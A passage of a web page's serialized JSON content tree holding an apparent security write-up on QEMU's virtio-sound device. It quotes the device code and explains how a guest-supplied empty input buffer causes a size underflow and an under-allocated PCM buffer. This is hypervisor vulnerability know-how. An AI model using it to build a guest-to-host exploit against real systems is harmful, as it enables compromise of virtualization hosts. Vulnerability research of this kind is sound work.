vq;\n",{"type":23,"tag":141,"props":122731,"children":122732},{"class":143,"line":7787},[122733,122737,122741,122746,122750,122754],{"type":23,"tag":141,"props":122734,"children":122735},{"style":750},[122736],{"type":29,"value":122688},{"type":23,"tag":141,"props":122738,"children":122739},{"style":154},[122740],{"type":29,"value":12435},{"type":23,"tag":141,"props":122742,"children":122743},{"style":750},[122744],{"type":29,"value":122745},"size",{"type":23,"tag":141,"props":122747,"children":122748},{"style":160},[122749],{"type":29,"value":1674},{"type":23,"tag":141,"props":122751,"children":122752},{"style":472},[122753],{"type":29,"value":1707},{"type":23,"tag":141,"props":122755,"children":122756},{"style":154},[122757],{"type":29,"value":1684},{"type":23,"tag":141,"props":122759,"children":122760},{"class":143,"line":7893},[122761,122765,122769,122773,122777,122781],{"type":23,"tag":141,"props":122762,"children":122763},{"style":750},[122764],{"type":29,"value":122688},{"type":23,"tag":141,"props":122766,"children":122767},{"style":154},[122768],{"type":29,"value":12435},{"type":23,"tag":141,"props":122770,"children":122771},{"style":750},[122772],{"type":29,"value":12579},{"type":23,"tag":141,"props":122774,"children":122775},{"style":160},[122776],{"type":29,"value":1674},{"type":23,"tag":141,"props":122778,"children":122779},{"style":472},[122780],{"type":29,"value":1707},{"type":23,"tag":141,"props":122782,"children":122783},{"style":154},[122784],{"type":29,"value":1684},{"type":23,"tag":141,"props":122786,"children":122787},{"class":143,"line":22181},[122788,122793,122797,122801,122805,122809,122814,122819],{"type":23,"tag":141,"props":122789,"children":122790},{"style":184},[122791],{"type":29,"value":122792}," QSIMPLEQ_INSERT_TAIL",{"type":23,"tag":141,"props":122794,"children":122795},{"style":154},[122796],{"type":29,"value":192},{"type":23,"tag":141,"props":122798,"children":122799},{"style":160},[122800],{"type":29,"value":1770},{"type":23,"tag":141,"props":122802,"children":122803},{"style":750},[122804],{"type":29,"value":34732},{"type":23,"tag":141,"props":122806,"children":122807},{"style":154},[122808],{"type":29,"value":12435},{"type":23,"tag":141,"props":122810,"children":122811},{"style":750},[122812],{"type":29,"value":122813},"queue",{"type":23,"tag":141,"props":122815,"children":122816},{"style":154},[122817],{"type":29,"value":122818},", buffer, entry);",{"type":23,"tag":141,"props":122820,"children":122821},{"style":443},[122822],{"type":29,"value":51108},{"type":23,"tag":141,"props":122824,"children":122825},{"class":143,"line":22216},[122826],{"type":23,"tag":141,"props":122827,"children":122828},{"style":154},[122829],{"type":29,"value":2008},{"type":23,"tag":141,"props":122831,"children":122832},{"class":143,"line":22224},[122833,122838],{"type":23,"tag":141,"props":122834,"children":122835},{"style":148},[122836],{"type":29,"value":122837}," continue",{"type":23,"tag":141,"props":122839,"children":122840},{"style":154},[122841],{"type":29,"value":1684},{"type":23,"tag":141,"props":122843,"children":122844},{"class":143,"line":22232},[122845],{"type":23,"tag":141,"props":122846,"children":122847},{"emptyLinePlaceholder":15},[122848],{"type":29,"value":719},{"type":23,"tag":141,"props":122850,"children":122851},{"class":143,"line":22241},[122852],{"type":23,"tag":141,"props":122853,"children":122854},{"style":154},[122855],{"type":29,"value":122524},{"type":23,"tag":141,"props":122857,"children":122858},{"class":143,"line":22283},[122859],{"type":23,"tag":141,"props":122860,"children":122861},{"style":154},[122862],{"type":29,"value":2573},{"type":23,"tag":32,"props":122864,"children":122865},{},[122866,122868,122874,122876,122882,122884,122889,122890,122896],{"type":29,"value":122867},"At ",{"type":23,"tag":38,"props":122869,"children":122871},{"className":122870},[],[122872],{"type":29,"value":122873},"[1]",{"type":29,"value":122875},", a ",{"type":23,"tag":38,"props":122877,"children":122879},{"className":122878},[],[122880],{"type":29,"value":122881},"VirtQueueElement *elem",{"type":29,"value":122883}," is popped from the virtqueue. It contains the ",{"type":23,"tag":38,"props":122885,"children":122887},{"className":122886},[],[122888],{"type":29,"value":122598},{"type":29,"value":313},{"type":23,"tag":38,"props":122891,"children":122893},{"className":122892},[],[122894],{"type":29,"value":122895},"out_sg",{"type":29,"value":122897}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":23,"tag":32,"props":122899,"children":122900},{},[122901,122903,122909,122911,122917,122919,122925,122927,122933,122935,122941],{"type":29,"value":122902},"Further at ",{"type":23,"tag":38,"props":122904,"children":122906},{"className":122905},[],[122907],{"type":29,"value":122908},"[2]",{"type":29,"value":122910},", the device computes the size of the data buffer as ",{"type":23,"tag":38,"props":122912,"children":122914},{"className":122913},[],[122915],{"type":29,"value":122916},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":122918},". That value is then used in the allocation: ",{"type":23,"tag":38,"props":122920,"children":122922},{"className":122921},[],[122923],{"type":29,"value":122924},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":122926},". Finally, at ",{"type":23,"tag":38,"props":122928,"children":122930},{"className":122929},[],[122931],{"type":29,"value":122932},"[3]",{"type":29,"value":122934},", the newly allocated buffer is appended to the ",{"type":23,"tag":38,"props":122936,"children":122938},{"className":122937},[],[122939],{"type":29,"value":122940},"stream->queue",{"type":29,"value":122942}," linked list.",{"type":23,"tag":32,"props":122944,"children":122945},{},[122946,122948,122953,122955,122960,122962,122967,122969,122975],{"type":29,"value":122947},"Because both the ",{"type":23,"tag":38,"props":122949,"children":122951},{"className":122950},[],[122952],{"type":29,"value":122598},{"type":29,"value":122954}," iovec and the ",{"type":23,"tag":38,"props":122956,"children":122958},{"className":122957},[],[122959],{"type":29,"value":122615},{"type":29,"value":122961}," field are guest-controlled, and there is no check that the total ",{"type":23,"tag":38,"props":122963,"children":122965},{"className":122964},[],[122966],{"type":29,"value":122598},{"type":29,"value":122968}," size is at least ",{"type":23,"tag":38,"props":122970,"children":122972},{"className":122971},[],[122973],{"type":29,"value":122974},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":122976},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":23,"tag":32,"props":122978,"children":122979},{},[122980,122982,122987,122989,122995,122997,123003,123005,123011],{"type":29,"value":122981},"From the guest driver, we can provide an empty ",{"type":23,"tag":38,"props":122983,"children":122985},{"className":122984},[],[122986],{"type":29,"value":122598},{"type":29,"value":122988}," iovec. In that case, the calculation becomes ",{"type":23,"tag":38,"props":122990,"children":122992},{"className":122991},[],[122993],{"type":29,"value":122994},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":122996},", so the allocation size effectively becomes ",{"type":23,"tag":38,"props":122998,"children":123000},{"className":122999},[],[123001],{"type":29,"value":123002},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":123004},". Given the definition of ",{"type":23,"tag":38,"props":123006,"children":123008},{"className":123007},[],[123009],{"type":29,"value":123010},"VirtIOSoundPCMBuffer",{"type":29,"value":114},{"type":23,"tag":131,"props":123013,"children":123015},{"code":123014,"language":1807,"meta":7,"className":15191,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[123016],{"type":23,"tag":38,"props":123017,"children":123018},{"__ignoreMap":7},[123019,123031,123044,123059,123076,123088,123100,123108,123120,123140],{"type":23,"tag":141,"props":123020,"children":123021},{"class":143,"line":144},[123022,123026],{"type":23,"tag":141,"props":123023,"children":123024},{"style":449},[123025],{"type":29,"value":8079},{"type":23,"tag":141,"props":123027,"children":123028},{"style":154},[123029],{"type":29,"value":123030}," VirtIOSoundPCMBuffer {\n",{"type":23,"tag":141,"props":123032,"children":123033},{"class":143,"line":180},[123034,123039],{"type":23,"tag":141,"props":123035,"children":123036},{"style":184},[123037],{"type":29,"value":123038}," QSIMPLEQ_ENTRY",{"type":23,"tag":141,"props":123040,"children":123041},{"style":154},[123042],{"type":29,"value":123043},"(VirtIOSoundPCMBuffer) entry;\n",{"type":23,"tag":141,"props":123045,"children":123046},{"class":143,"line":205},[123047,123051,123055],{"type":23,"tag":141,"props":123048,"children":123049},{"style":154},[123050],{"type":29,"value":122376},{"type":23,"tag":141,"props":123052,"children":123053},{"style":160},[123054],{"type":29,"value":197},{"type":23,"tag":141,"props":123056,"children":123057},{"style":154},[123058],{"type":29,"value":122385},{"type":23,"tag":141,"props":123060,"children":123061},{"class":143,"line":218},[123062,123067,123071],{"type":23,"tag":141,"props":123063,"children":123064},{"style":154},[123065],{"type":29,"value":123066}," VirtQueue ",{"type":23,"tag":141,"props":123068,"children":123069},{"style":160},[123070],{"type":29,"value":197},{"type":23,"tag":141,"props":123072,"children":123073},{"style":154},[123074],{"type":29,"value":123075},"vq;\n",{"type":23,"tag":141,"props":123077,"children":123078},{"class":143,"line":227},[123079,123083],{"type":23,"tag":141,"props":123080,"children":123081},{"style":449},[123082],{"type":29,"value":15241},{"type":23,"tag":141,"props":123084,"children":123085},{"style":154},[123086],{"type":29,"value":123087}," size;\n",{"type":23,"tag":141,"props":123089,"children":123090},{"class":143,"line":241},[123091,123095],{"type":23,"tag":141,"props":123092,"children":123093},{"style":449},[123094],{"type":29,"value":54092},{"type":23,"tag":141,"props":123096,"children":123097},{"style":154},[123098],{"type":29,"value":123099}," offset;\n",{"type":23,"tag":141,"props":123101,"children":123102},{"class":143,"line":262},[123103],{"type":23,"tag":141,"props":123104,"children":123105},{"style":443},[123106],{"type":29,"value":123107}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":23,"tag":141,"props":123109,"children":123110},{"class":143,"line":271},[123111,123115],{"type":23,"tag":141,"props":123112,"children":123113},{"style":449},[123114],{"type":29,"value":44950},{"type":23,"tag":141,"props":123116,"children":123117},{"style":154},[123118],{"type":29,"value":123119}," populated;\n",{"type":23,"tag":141,"props":123121,"children":123122},{"class":143,"line":293},[123123,123127,123131,123136],{"type":23,"tag":141,"props":123124,"children":123125},{"style":449},[123126],{"type":29,"value":56937},{"type":23,"tag":141,"props":123128,"children":123129},{"style":154},[123130],{"type":29,"value":13781},{"type":23,"tag":141,"props":123132,"children":123133},{"style":449},[123134],{"type":29,"value":123135},"[]",{"type":23,"tag":141,"props":123137,"children":123138},{"style":154},[123139],{"type":29,"value":1684},{"type":23,"tag":141,"props":123141,"children":123142},{"class":143,"line":801},[123143],{"type":23,"tag":141,"props":123144,"children":123145},{"style":154},[123146],{"type":29,"value":1357},{"type":23,"tag":32,"props":123148,"children":123149},{},[123150,123152,123158,123160,123165,123167,123172,123174,123179,123181,123186,123188,123194],{"type":29,"value":123151},"That under-allocation removes the ",{"type":23,"tag":38,"props":123153,"children":123155},{"className":123154},[],[123156],{"type":29,"value":123157},"populated",{"type":29,"value":123159}," field along with the variable-sized ",{"type":23,"tag":38,"props":123161,"children":123163},{"className":123162},[],[123164],{"type":29,"value":2367},{"type":29,"value":123166}," array. As the comment says, ",{"type":23,"tag":38,"props":123168,"children":123170},{"className":123169},[],[123171],{"type":29,"value":123157},{"type":29,"value":123173}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":23,"tag":38,"props":123175,"children":123177},{"className":123176},[],[123178],{"type":29,"value":687},{"type":29,"value":123180},", the device believes data should be ",{"type":23,"tag":38,"props":123182,"children":123184},{"className":123183},[],[123185],{"type":29,"value":687},{"type":29,"value":123187}," byte, while the actual allocation is ",{"type":23,"tag":38,"props":123189,"children":123191},{"className":123190},[],[123192],{"type":29,"value":123193},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":322},{"type":23,"tag":17563,"props":123196,"children":123198},{"id":123197},"populating-data-buffers",[123199],{"type":29,"value":123200},"Populating Data Buffers",{"type":23,"tag":32,"props":123202,"children":123203},{},[123204],{"type":29,"value":123205},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":23,"tag":131,"props":123207,"children":123209},{"code":123208,"language":1807,"meta":7,"className":15191,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[123210],{"type":23,"tag":38,"props":123211,"children":123212},{"__ignoreMap":7},[123213,123220,123228,123235,123243,123251,123258,123307,123314,123340,123357,123369,123376,123408,123453,123493,123500,123508,123515,123540,123568,123592,123600,123612,123650,123663,123675,123682,123728,123765,123808,123829,123849,123869,123880,123887,123910,123926,123934,123941,123948,123955],{"type":23,"tag":141,"props":123214,"children":123215},{"class":143,"line":144},[123216],{"type":23,"tag":141,"props":123217,"children":123218},{"style":443},[123219],{"type":29,"value":47844},{"type":23,"tag":141,"props":123221,"children":123222},{"class":143,"line":180},[123223],{"type":23,"tag":141,"props":123224,"children":123225},{"style":443},[123226],{"type":29,"value":123227}," * AUD_* input callback.\n",{"type":23,"tag":141,"props":123229,"children":123230},{"class":143,"line":205},[123231],{"type":23,"tag":141,"props":123232,"children":123233},{"style":443},[123234],{"type":29,"value":18160},{"type":23,"tag":141,"props":123236,"children":123237},{"class":143,"line":218},[123238],{"type":23,"tag":141,"props":123239,"children":123240},{"style":443},[123241],{"type":29,"value":123242}," * @data: VirtIOSoundPCMStream stream\n",{"type":23,"tag":141,"props":123244,"children":123245},{"class":143,"line":227},[123246],{"type":23,"tag":141,"props":123247,"children":123248},{"style":443},[123249],{"type":29,"value":123250}," * @available: number of bytes that can be read with AUD_read()\n",{"type":23,"tag":141,"props":123252,"children":123253},{"class":143,"line":241},[123254],{"type":23,"tag":141,"props":123255,"children":123256},{"style":443},[123257],{"type":29,"value":122313},{"type":23,"tag":141,"props":123259,"children":123260},{"class":143,"line":262},[123261,123265,123269,123274,123278,123282,123286,123290,123294,123298,123303],{"type":23,"tag":141,"props":123262,"children":123263},{"style":449},[123264],{"type":29,"value":49523},{"type":23,"tag":141,"props":123266,"children":123267},{"style":449},[123268],{"type":29,"value":49528},{"type":23,"tag":141,"props":123270,"children":123271},{"style":184},[123272],{"type":29,"value":123273}," virtio_snd_pcm_in_cb",{"type":23,"tag":141,"props":123275,"children":123276},{"style":154},[123277],{"type":29,"value":192},{"type":23,"tag":141,"props":123279,"children":123280},{"style":449},[123281],{"type":29,"value":50106},{"type":23,"tag":141,"props":123283,"children":123284},{"style":160},[123285],{"type":29,"value":8496},{"type":23,"tag":141,"props":123287,"children":123288},{"style":750},[123289],{"type":29,"value":2367},{"type":23,"tag":141,"props":123291,"children":123292},{"style":154},[123293],{"type":29,"value":480},{"type":23,"tag":141,"props":123295,"children":123296},{"style":449},[123297],{"type":29,"value":17718},{"type":23,"tag":141,"props":123299,"children":123300},{"style":750},[123301],{"type":29,"value":123302}," available",{"type":23,"tag":141,"props":123304,"children":123305},{"style":154},[123306],{"type":29,"value":758},{"type":23,"tag":141,"props":123308,"children":123309},{"class":143,"line":271},[123310],{"type":23,"tag":141,"props":123311,"children":123312},{"style":154},[123313],{"type":29,"value":766},{"type":23,"tag":141,"props":123315,"children":123316},{"class":143,"line":293},[123317,123322,123326,123331,123335],{"type":23,"tag":141,"props":123318,"children":123319},{"style":154},[123320],{"type":29,"value":123321}," VirtIOSoundPCMStream ",{"type":23,"tag":141,"props":123323,"children":123324},{"style":160},[123325],{"type":29,"value":197},{"type":23,"tag":141,"props":123327,"children":123328},{"style":154},[123329],{"type":29,"value":123330},"stream ",{"type":23,"tag":141,"props":123332,"children":123333},{"style":160},[123334],{"type":29,"value":1377},{"type":23,"tag":141,"props":123336,"children":123337},{"style":154},[123338],{"type":29,"value":123339}," data;\n",{"type":23,"tag":141,"props":123341,"children":123342},{"class":143,"line":801},[123343,123348,123352],{"type":23,"tag":141,"props":123344,"children":123345},{"style":154},[123346],{"type":29,"value":123347}," VirtIOSoundPCMBuffer ",{"type":23,"tag":141,"props":123349,"children":123350},{"style":160},[123351],{"type":29,"value":197},{"type":23,"tag":141,"props":123353,"children":123354},{"style":154},[123355],{"type":29,"value":123356},"buffer;\n",{"type":23,"tag":141,"props":123358,"children":123359},{"class":143,"line":810},[123360,123364],{"type":23,"tag":141,"props":123361,"children":123362},{"style":449},[123363],{"type":29,"value":15241},{"type":23,"tag":141,"props":123365,"children":123366},{"style":154},[123367],{"type":29,"value":123368}," size, max_size;\n",{"type":23,"tag":141,"props":123370,"children":123371},{"class":143,"line":824},[123372],{"type":23,"tag":141,"props":123373,"children":123374},{"emptyLinePlaceholder":15},[123375],{"type":29,"value":719},{"type":23,"tag":141,"props":123377,"children":123378},{"class":143,"line":839},[123379,123384,123388,123392,123396,123400,123404],{"type":23,"tag":141,"props":123380,"children":123381},{"style":184},[123382],{"type":29,"value":123383}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":141,"props":123385,"children":123386},{"style":154},[123387],{"type":29,"value":192},{"type":23,"tag":141,"props":123389,"children":123390},{"style":160},[123391],{"type":29,"value":1770},{"type":23,"tag":141,"props":123393,"children":123394},{"style":750},[123395],{"type":29,"value":34732},{"type":23,"tag":141,"props":123397,"children":123398},{"style":154},[123399],{"type":29,"value":12435},{"type":23,"tag":141,"props":123401,"children":123402},{"style":750},[123403],{"type":29,"value":122560},{"type":23,"tag":141,"props":123405,"children":123406},{"style":154},[123407],{"type":29,"value":13480},{"type":23,"tag":141,"props":123409,"children":123410},{"class":143,"line":848},[123411,123416,123420,123424,123429,123433,123437,123441,123445,123449],{"type":23,"tag":141,"props":123412,"children":123413},{"style":148},[123414],{"type":29,"value":123415}," while",{"type":23,"tag":141,"props":123417,"children":123418},{"style":154},[123419],{"type":29,"value":1220},{"type":23,"tag":141,"props":123421,"children":123422},{"style":160},[123423],{"type":29,"value":19293},{"type":23,"tag":141,"props":123425,"children":123426},{"style":184},[123427],{"type":29,"value":123428},"QSIMPLEQ_EMPTY",{"type":23,"tag":141,"props":123430,"children":123431},{"style":154},[123432],{"type":29,"value":192},{"type":23,"tag":141,"props":123434,"children":123435},{"style":160},[123436],{"type":29,"value":1770},{"type":23,"tag":141,"props":123438,"children":123439},{"style":750},[123440],{"type":29,"value":34732},{"type":23,"tag":141,"props":123442,"children":123443},{"style":154},[123444],{"type":29,"value":12435},{"type":23,"tag":141,"props":123446,"children":123447},{"style":750},[123448],{"type":29,"value":122813},{"type":23,"tag":141,"props":123450,"children":123451},{"style":154},[123452],{"type":29,"value":33664},{"type":23,"tag":141,"props":123454,"children":123455},{"class":143,"line":2304},[123456,123460,123464,123469,123473,123477,123481,123485,123489],{"type":23,"tag":141,"props":123457,"children":123458},{"style":154},[123459],{"type":29,"value":122649},{"type":23,"tag":141,"props":123461,"children":123462},{"style":160},[123463],{"type":29,"value":1377},{"type":23,"tag":141,"props":123465,"children":123466},{"style":184},[123467],{"type":29,"value":123468}," QSIMPLEQ_FIRST",{"type":23,"tag":141,"props":123470,"children":123471},{"style":154},[123472],{"type":29,"value":192},{"type":23,"tag":141,"props":123474,"children":123475},{"style":160},[123476],{"type":29,"value":1770},{"type":23,"tag":141,"props":123478,"children":123479},{"style":750},[123480],{"type":29,"value":34732},{"type":23,"tag":141,"props":123482,"children":123483},{"style":154},[123484],{"type":29,"value":12435},{"type":23,"tag":141,"props":123486,"children":123487},{"style":750},[123488],{"type":29,"value":122813},{"type":23,"tag":141,"props":123490,"children":123491},{"style":154},[123492],{"type":29,"value":2496},{"type":23,"tag":141,"props":123494,"children":123495},{"class":143,"line":2313},[123496],{"type":23,"tag":141,"props":123497,"children":123498},{"emptyLinePlaceholder":15},[123499],{"type":29,"value":719},{"type":23,"tag":141,"props":123501,"children":123502},{"class":143,"line":2335},[123503],{"type":23,"tag":141,"props":123504,"children":123505},{"style":154},[123506],{"type":29,"value":123507}," [...]\n",{"type":23,"tag":141,"props":123509,"children":123510},{"class":143,"line":2343},[123511],{"type":23,"tag":141,"props":123512,"children":123513},{"emptyLinePlaceholder":15},[123514],{"type":29,"value":719},{"type":23,"tag":141,"props":123516,"children":123517},{"class":143,"line":2352},[123518,123523,123527,123531,123535],{"type":23,"tag":141,"props":123519,"children":123520},{"style":154},[123521],{"type":29,"value":123522}," max_size ",{"type":23,"tag":141,"props":123524,"children":123525},{"style":160},[123526],{"type":29,"value":1377},{"type":23,"tag":141,"props":123528,"children":123529},{"style":184},[123530],{"type":29,"value":122581},{"type":23,"tag":141,"props":123532,"children":123533},{"style":154},[123534],{"type":29,"value":192},{"type":23,"tag":141,"props":123536,"children":123537},{"style":443},[123538],{"type":29,"value":123539}," // [1]\n",{"type":23,"tag":141,"props":123541,"children":123542},{"class":143,"line":2421},[123543,123548,123552,123556,123560,123564],{"type":23,"tag":141,"props":123544,"children":123545},{"style":750},[123546],{"type":29,"value":123547}," buffer",{"type":23,"tag":141,"props":123549,"children":123550},{"style":154},[123551],{"type":29,"value":12435},{"type":23,"tag":141,"props":123553,"children":123554},{"style":750},[123555],{"type":29,"value":50543},{"type":23,"tag":141,"props":123557,"children":123558},{"style":154},[123559],{"type":29,"value":12435},{"type":23,"tag":141,"props":123561,"children":123562},{"style":750},[123563],{"type":29,"value":122598},{"type":23,"tag":141,"props":123565,"children":123566},{"style":154},[123567],{"type":29,"value":2168},{"type":23,"tag":141,"props":123569,"children":123570},{"class":143,"line":2429},[123571,123575,123579,123583,123587],{"type":23,"tag":141,"props":123572,"children":123573},{"style":750},[123574],{"type":29,"value":123547},{"type":23,"tag":141,"props":123576,"children":123577},{"style":154},[123578],{"type":29,"value":12435},{"type":23,"tag":141,"props":123580,"children":123581},{"style":750},[123582],{"type":29,"value":50543},{"type":23,"tag":141,"props":123584,"children":123585},{"style":154},[123586],{"type":29,"value":12435},{"type":23,"tag":141,"props":123588,"children":123589},{"style":750},[123590],{"type":29,"value":123591},"in_num\n",{"type":23,"tag":141,"props":123593,"children":123594},{"class":143,"line":2459},[123595],{"type":23,"tag":141,"props":123596,"children":123597},{"style":154},[123598],{"type":29,"value":123599}," );\n",{"type":23,"tag":141,"props":123601,"children":123602},{"class":143,"line":2467},[123603,123608],{"type":23,"tag":141,"props":123604,"children":123605},{"style":148},[123606],{"type":29,"value":123607}," for",{"type":23,"tag":141,"props":123609,"children":123610},{"style":154},[123611],{"type":29,"value":122411},{"type":23,"tag":141,"props":123613,"children":123614},{"class":143,"line":2499},[123615,123619,123623,123628,123632,123636,123640,123645],{"type":23,"tag":141,"props":123616,"children":123617},{"style":148},[123618],{"type":29,"value":102005},{"type":23,"tag":141,"props":123620,"children":123621},{"style":154},[123622],{"type":29,"value":1220},{"type":23,"tag":141,"props":123624,"children":123625},{"style":750},[123626],{"type":29,"value":123627},"buffer",{"type":23,"tag":141,"props":123629,"children":123630},{"style":154},[123631],{"type":29,"value":12435},{"type":23,"tag":141,"props":123633,"children":123634},{"style":750},[123635],{"type":29,"value":122745},{"type":23,"tag":141,"props":123637,"children":123638},{"style":160},[123639],{"type":29,"value":6977},{"type":23,"tag":141,"props":123641,"children":123642},{"style":154},[123643],{"type":29,"value":123644}," max_size) {",{"type":23,"tag":141,"props":123646,"children":123647},{"style":443},[123648],{"type":29,"value":123649}," // [2]\n",{"type":23,"tag":141,"props":123651,"children":123652},{"class":143,"line":2507},[123653,123658],{"type":23,"tag":141,"props":123654,"children":123655},{"style":184},[123656],{"type":29,"value":123657}," return_rx_buffer",{"type":23,"tag":141,"props":123659,"children":123660},{"style":154},[123661],{"type":29,"value":123662},"(stream, buffer);\n",{"type":23,"tag":141,"props":123664,"children":123665},{"class":143,"line":2567},[123666,123671],{"type":23,"tag":141,"props":123667,"children":123668},{"style":148},[123669],{"type":29,"value":123670}," break",{"type":23,"tag":141,"props":123672,"children":123673},{"style":154},[123674],{"type":29,"value":1684},{"type":23,"tag":141,"props":123676,"children":123677},{"class":143,"line":7724},[123678],{"type":23,"tag":141,"props":123679,"children":123680},{"style":154},[123681],{"type":29,"value":69554},{"type":23,"tag":141,"props":123683,"children":123684},{"class":143,"line":7742},[123685,123690,123694,123699,123703,123707,123711,123716,123720,123724],{"type":23,"tag":141,"props":123686,"children":123687},{"style":154},[123688],{"type":29,"value":123689}," size ",{"type":23,"tag":141,"props":123691,"children":123692},{"style":160},[123693],{"type":29,"value":1377},{"type":23,"tag":141,"props":123695,"children":123696},{"style":184},[123697],{"type":29,"value":123698}," AUD_read",{"type":23,"tag":141,"props":123700,"children":123701},{"style":154},[123702],{"type":29,"value":192},{"type":23,"tag":141,"props":123704,"children":123705},{"style":750},[123706],{"type":29,"value":34732},{"type":23,"tag":141,"props":123708,"children":123709},{"style":154},[123710],{"type":29,"value":12435},{"type":23,"tag":141,"props":123712,"children":123713},{"style":750},[123714],{"type":29,"value":123715},"voice",{"type":23,"tag":141,"props":123717,"children":123718},{"style":154},[123719],{"type":29,"value":322},{"type":23,"tag":141,"props":123721,"children":123722},{"style":750},[123723],{"type":29,"value":93983},{"type":23,"tag":141,"props":123725,"children":123726},{"style":154},[123727],{"type":29,"value":2168},{"type":23,"tag":141,"props":123729,"children":123730},{"class":143,"line":7787},[123731,123736,123740,123744,123748,123753,123757,123761],{"type":23,"tag":141,"props":123732,"children":123733},{"style":750},[123734],{"type":29,"value":123735}," buffer",{"type":23,"tag":141,"props":123737,"children":123738},{"style":154},[123739],{"type":29,"value":12435},{"type":23,"tag":141,"props":123741,"children":123742},{"style":750},[123743],{"type":29,"value":2367},{"type":23,"tag":141,"props":123745,"children":123746},{"style":160},[123747],{"type":29,"value":7581},{"type":23,"tag":141,"props":123749,"children":123750},{"style":750},[123751],{"type":29,"value":123752}," buffer",{"type":23,"tag":141,"props":123754,"children":123755},{"style":154},[123756],{"type":29,"value":12435},{"type":23,"tag":141,"props":123758,"children":123759},{"style":750},[123760],{"type":29,"value":122745},{"type":23,"tag":141,"props":123762,"children":123763},{"style":154},[123764],{"type":29,"value":2168},{"type":23,"tag":141,"props":123766,"children":123767},{"class":143,"line":7893},[123768,123773,123778,123782,123786,123790,123794,123799,123803],{"type":23,"tag":141,"props":123769,"children":123770},{"style":184},[123771],{"type":29,"value":123772}," MIN",{"type":23,"tag":141,"props":123774,"children":123775},{"style":154},[123776],{"type":29,"value":123777},"(available, (",{"type":23,"tag":141,"props":123779,"children":123780},{"style":750},[123781],{"type":29,"value":34732},{"type":23,"tag":141,"props":123783,"children":123784},{"style":154},[123785],{"type":29,"value":12435},{"type":23,"tag":141,"props":123787,"children":123788},{"style":750},[123789],{"type":29,"value":96767},{"type":23,"tag":141,"props":123791,"children":123792},{"style":154},[123793],{"type":29,"value":322},{"type":23,"tag":141,"props":123795,"children":123796},{"style":750},[123797],{"type":29,"value":123798},"period_bytes",{"type":23,"tag":141,"props":123800,"children":123801},{"style":160},[123802],{"type":29,"value":49734},{"type":23,"tag":141,"props":123804,"children":123805},{"style":443},[123806],{"type":29,"value":123807}," // [3]\n",{"type":23,"tag":141,"props":123809,"children":123810},{"class":143,"line":22181},[123811,123816,123820,123824],{"type":23,"tag":141,"props":123812,"children":123813},{"style":750},[123814],{"type":29,"value":123815}," buffer",{"type":23,"tag":141,"props":123817,"children":123818},{"style":154},[123819],{"type":29,"value":12435},{"type":23,"tag":141,"props":123821,"children":123822},{"style":750},[123823],{"type":29,"value":122745},{"type":23,"tag":141,"props":123825,"children":123826},{"style":154},[123827],{"type":29,"value":123828},")));\n",{"type":23,"tag":141,"props":123830,"children":123831},{"class":143,"line":22216},[123832,123836,123840,123844],{"type":23,"tag":141,"props":123833,"children":123834},{"style":148},[123835],{"type":29,"value":102005},{"type":23,"tag":141,"props":123837,"children":123838},{"style":154},[123839],{"type":29,"value":1220},{"type":23,"tag":141,"props":123841,"children":123842},{"style":160},[123843],{"type":29,"value":19293},{"type":23,"tag":141,"props":123845,"children":123846},{"style":154},[123847],{"type":29,"value":123848},"size) {\n",{"type":23,"tag":141,"props":123850,"children":123851},{"class":143,"line":22224},[123852,123857,123861,123865],{"type":23,"tag":141,"props":123853,"children":123854},{"style":154},[123855],{"type":29,"value":123856}," available ",{"type":23,"tag":141,"props":123858,"children":123859},{"style":160},[123860],{"type":29,"value":1377},{"type":23,"tag":141,"props":123862,"children":123863},{"style":472},[123864],{"type":29,"value":1707},{"type":23,"tag":141,"props":123866,"children":123867},{"style":154},[123868],{"type":29,"value":1684},{"type":23,"tag":141,"props":123870,"children":123871},{"class":143,"line":22232},[123872,123876],{"type":23,"tag":141,"props":123873,"children":123874},{"style":148},[123875],{"type":29,"value":123670},{"type":23,"tag":141,"props":123877,"children":123878},{"style":154},[123879],{"type":29,"value":1684},{"type":23,"tag":141,"props":123881,"children":123882},{"class":143,"line":22241},[123883],{"type":23,"tag":141,"props":123884,"children":123885},{"style":154},[123886],{"type":29,"value":69554},{"type":23,"tag":141,"props":123888,"children":123889},{"class":143,"line":22283},[123890,123894,123898,123902,123906],{"type":23,"tag":141,"props":123891,"children":123892},{"style":750},[123893],{"type":29,"value":123547},{"type":23,"tag":141,"props":123895,"children":123896},{"style":154},[123897],{"type":29,"value":12435},{"type":23,"tag":141,"props":123899,"children":123900},{"style":750},[123901],{"type":29,"value":122745},{"type":23,"tag":141,"props":123903,"children":123904},{"style":160},[123905],{"type":29,"value":13741},{"type":23,"tag":141,"props":123907,"children":1239